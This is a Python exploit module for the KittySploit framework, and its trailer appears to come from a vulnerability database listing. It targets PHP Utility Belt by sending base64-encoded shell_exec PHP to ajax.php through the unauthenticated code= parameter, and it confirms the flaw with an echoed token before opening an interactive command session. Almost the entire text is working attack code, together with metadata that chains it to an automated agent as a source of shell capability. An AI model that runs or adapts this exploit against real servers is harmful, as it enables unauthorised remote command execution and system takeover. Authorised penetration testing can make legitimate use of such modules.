PHP Utility Belt - ajax.php RCE
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""PHP Utility Belt ajax.php RCE — opens execute session."""
import base64
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'PHP Utility Belt - ajax.php RCE',
'description': (
'Exploits PHP Utility Belt by evaluating PHP via ajax.php code= parameter. '
'Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': ['https://www.exploit-db.com/exploits/39554/'],
'tags': ['php', 'rce', 'unauth'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 1,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['scanner/http/php_utility_belt_rce_detect'],
},
},
}
base_path = OptString('', 'Optional base path (e.g. /php-utility-belt)', required=False)
def _prefix(self) -> str:
base = str(self.base_path or '').strip().rstrip('/')
if base and not base.startswith('/'):
base = '/' + base
return base
def execute(self, cmd: str) -> str:
b64 = base64.b64encode(str(cmd).encode()).decode()
# echo shell_exec(base64_decode(...))
php = f'echo shell_exec(base64_decode("{b64}"));'
from urllib.parse import quote
data = 'code=' + quote(php, safe='')
r = self.http_request(
method='POST',
path=f'{self._prefix()}/ajax.php',
data=data,
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
if not r:
return ''
return r.text or ''
def check(self):
token = self.random_text(8)
body = self.execute(f'echo {token}')
if token in (body or ''):
return {'vulnerable': True, 'reason': 'PHP Utility Belt RCE confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'No echo output', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
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10 Aug 2026 06:19Current
6Medium risk
Vulners AI Score6